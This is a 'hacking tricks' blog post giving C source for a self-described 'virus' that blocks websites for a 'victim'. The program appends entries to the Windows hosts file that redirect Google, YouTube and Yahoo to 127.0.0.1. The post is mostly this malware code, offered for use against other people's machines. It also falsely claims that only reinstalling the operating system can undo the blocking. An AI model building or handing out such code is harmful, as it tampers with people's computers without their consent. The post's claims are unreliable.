HACKING TRICKS

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}